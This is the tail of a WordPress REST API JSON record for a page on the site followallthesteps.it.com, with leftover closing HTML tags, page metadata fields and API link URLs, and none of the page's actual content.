<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-8","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/followallthesteps.it.com\/index.php?rest_route=\/wp\/v2\/pages\/8","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/followallthesteps.it.com\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/followallthesteps.it.com\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/followallthesteps.it.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/followallthesteps.it.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=8"}],"version-history":[{"count":32,"href":"https:\/\/followallthesteps.it.com\/index.php?rest_route=\/wp\/v2\/pages\/8\/revisions"}],"predecessor-version":[{"id":42,"href":"https:\/\/followallthesteps.it.com\/index.php?rest_route=\/wp\/v2\/pages\/8\/revisions\/42"}],"wp:attachment":[{"href":"https:\/\/followallthesteps.it.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=8"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}